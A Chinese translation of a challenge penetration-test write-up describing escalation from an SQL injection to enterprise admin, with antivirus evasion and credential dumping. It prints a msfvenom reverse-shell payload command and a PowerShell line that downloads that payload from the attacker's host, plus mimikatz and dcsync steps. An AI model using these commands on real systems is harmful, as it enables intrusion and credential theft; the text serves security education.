最近一段时间,我和Sudhanshu Chauhan一起参加了一个黑客挑战大赛,比赛中有这样一道有趣的题目:在只知道被渗透组织名称的前提下,对目标组织执行渗透测试任务。经过一番的摸索,我们通过利用目标网站中的一个SQL注入漏洞成功的进入到了该组织的内网并获取到目标网站的最高权限。
本文将对我们是如何通过一个SQL注入漏洞获取目标组织的最高管理权限的过程进行介绍,文中涉及到的渗透技术大体包括:OSINT、弱口令、密码破解、不安全的配置、跳板攻击(Pivoting)、绕过AV以及pwnage等。https://www.secpulse.com/archives/62098.html#goComment
有趣的是,比赛的初始阶段是禁止我们进行枚举操作的,因此在项目的开始阶段我们采用被动方法来收集与目标相关的信息,这些方法主要包括获取目标组织拥有的IP地址段,域名及其子域名,在github、pastebin以及其他第三方网站上检索与目标组织相关的信息,使用shodan和其他一些OSINT技术去发现目标网站泄漏的敏感信息和服务信息。
经过我们前期的被动收集信息,我们整理出了一份信息列表,之后我们综合多种因素对前期获取到的数据信息进行编辑和排名,这些因素主要有:泄露的证书、过时的软件、暴露的服务等。根据整理出的资源信息列表,我们可以制定下一阶段要使用的渗透方案。
在我们的资源信息列表中,我们发现其中一个排名靠前的网站存在一个SQL注入漏洞,通过使用SQLMap(添加“-is-dba”选项)工具,我们发现通过该SQL注入漏洞可以获取到DBA级别的特权。在获取到数据库类型之后,我们成功的获取到了sql shell。另外,我们还找到了一些数据库用户名和相关的密码哈希值。通过使用#OneRuleToRuleThemAll,我们能够破解一些哈希密码。另外,由于在数据库服务器上启用了“xp_cmdshell”,因此我们能够执行OS命令,这个可以通过OOB DNS调用了我们自定义的域名“xyz.abc.sos.notsosecure.com”来证实,具体如下图所示:
下一步,我们将通过交互式shell来执行代码。一开始我们尝试了多个meterpreter payloads,但几乎都没有奏效,之后我们使用多种渗透技术(例如ICMP tunnelling)不断尝试,最终通过xp_cmdshell获取到一个交互式的ICMP shell,具体如下图所示:
使用新获得的ICMP shell,我们准备对目标系统进行进一步的渗透操作,我们在目标网站上搜寻有助于后渗透阶段使用的信息,但由于ICMP shell不太稳定的原因,使用该shell我们并没有找到任何有助于后渗透利用的信息数据。之后我们将注意力转向目标系统本身,由于目标主机是Windows系统,因此我们尝试去获取一个powershell meterpreter的有效载荷。
虽然我们成功获取到了一个powershell,但在几秒钟之内就被检测到了,并且终止了连接。之后我们通过枚举操作,获取到目标主机上运行的杀毒软件的型号以及版本信息。
在几次试图绕过杀毒软件失败之后,我们又继续对目标上安装的软件执行枚举操作,并确定目标主机上的确安装了python。
然后我们通过运行以下命令使用msfvenom生成了一个python meterpreter的有效载荷:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=<OUR_HOST> LPORT=1234 > pypreter.py
上面的payload托管在我们的服务器上,之后我们通过指示受感染的服务器在ICMP shell中使用以下的Powershell命令来下载payloads:
powershell $WebRequest = New-Object System.Net.WebClient; $WebRequest.DownloadFile('http://<OUR_HOST>:8000/pypreter.py','C:\Windows\Temp\pypreter.py')
我们启动一个metasploit的/multi/handler模块,以用来和之前创建的payload建立连接,然后我们通过ICMP shell执行了载荷,之后我们便获取到了我们想要的meterpreter shell,如下图所示:
上述的meterpreter shell虽然比最初的ICMP shell稳定的多,但由于python meterpreter实现的局限性,大多数的meterpreter命令都没有获得预期的结果。
于是我们从新获得的python meterpreter shell出发,继续在目标系统中执行枚举操作。基于以往的经验,我们将目标锁定为网络共享,因为杀毒软件通常不会对网络共享执行扫描操作。
有趣的是,我们在目标系统中找到了一个网络共享,并在那里放置了一个meterpreter payload。之后,我们开启另一个metasploit的/multi/handler模块,用于和meterpreter的有效载荷建立连接,并期望得到一个新的本地meterpreter shell。一旦我们拥有了这个meterpreter shell,那么就可以对目标系统做很多事情了。
我们试图用mimikatz工具来获取明文密码,但由于没有人执行过登录操作,并且本地的哈希也没有在其他地方运行过,因此我们并没有发现任何一个明文登录密码。但随后我们发现目标主机有多个网络接口,因此我们使用新获得的meterpreter shell,在shell中输入以下命令向内部网络添加一条路由:
route add 10.0.1.0 255.255.252.0 1
在添加了路由之后,我们执行ARP扫描,并使用一个metasploit post exploitation 模块来识别当前网络上连接的主机。
然后,我们使用metasploit auxiliary 模块对当前连接的主机进行端口扫描操作,以尝试识别运行MSSQL的主机,扫描结果如下图所示:
然后,我们使用“auxiliary/scanner/mssql/mssql_login”模块以及先前破解得到的数据库帐户,以查看是否还有任何账户正在被目标系统使用,结果如下图所示:
此时,我们发现一个帐户在另外两个主机上有效,并具有数据库管理特权。在“auxiliary/admin/mssql/mssql_exec”模块的帮助下,我们使用这个特权帐户重新获取到一个meterpreter shell运行,并且该shell具有SYSTME权限。之后我们发现这个主机运行的是Windows Server 2003操作系统,随后我们dump了本地的哈希值,并使用Hashcat工具对获取到的哈希值进行破解,最后使用meterpreter shell来dump域帐户哈希,具体如下图所示:
除此之外,我们还是用mimikatz工具从内存中dump明文密码,如下图所示:
经过进一步的分析之后,可以确定其中一个用户是“企业管理员”,这让我们可以直接访问域控制器,并使用powershell脚本“invoke – massmimikatz.ps1”从其他主机中提取出了多个明文密码。https://github.com/PowerShellEmpire/PowerTools/blob/master/PewPewPew/Invoke-MassMimikatz.ps1
此外,我们现在可以在域控制器上执行hashdump来获取诸如“krbtgt”这样的高权限帐户的哈希值。在本文中,我们使用metasploit kiwi扩展中的“dcsync_ntlm”命令来提取krbtgt帐户的哈希,具体如下图所示。
这样整个渗透过程就此结束了,回顾一下整个渗透过程,我们是从web应用程序的SQL注入漏洞开始,一步一步的直到获取目标站点管理员的多个登录口令。整个攻击流程图如下所示:
通过对整个渗透测试过程的回顾我们发现,其实任何一个漏洞对于企业来说都是至关重要的,因为任何微小的漏洞都可能会成为黑客潜入企业内部的突破口;另一个需要注意的是企业应该对公司内部的设备清单有一个清楚的列表,以能够保障在出现漏洞时能够及时的对存在漏洞的主机进行打补丁和升级操作。
原文地址:https://www.notsosecure.com/anatomy-of-a-hack-sqli-to-enterprise-admin/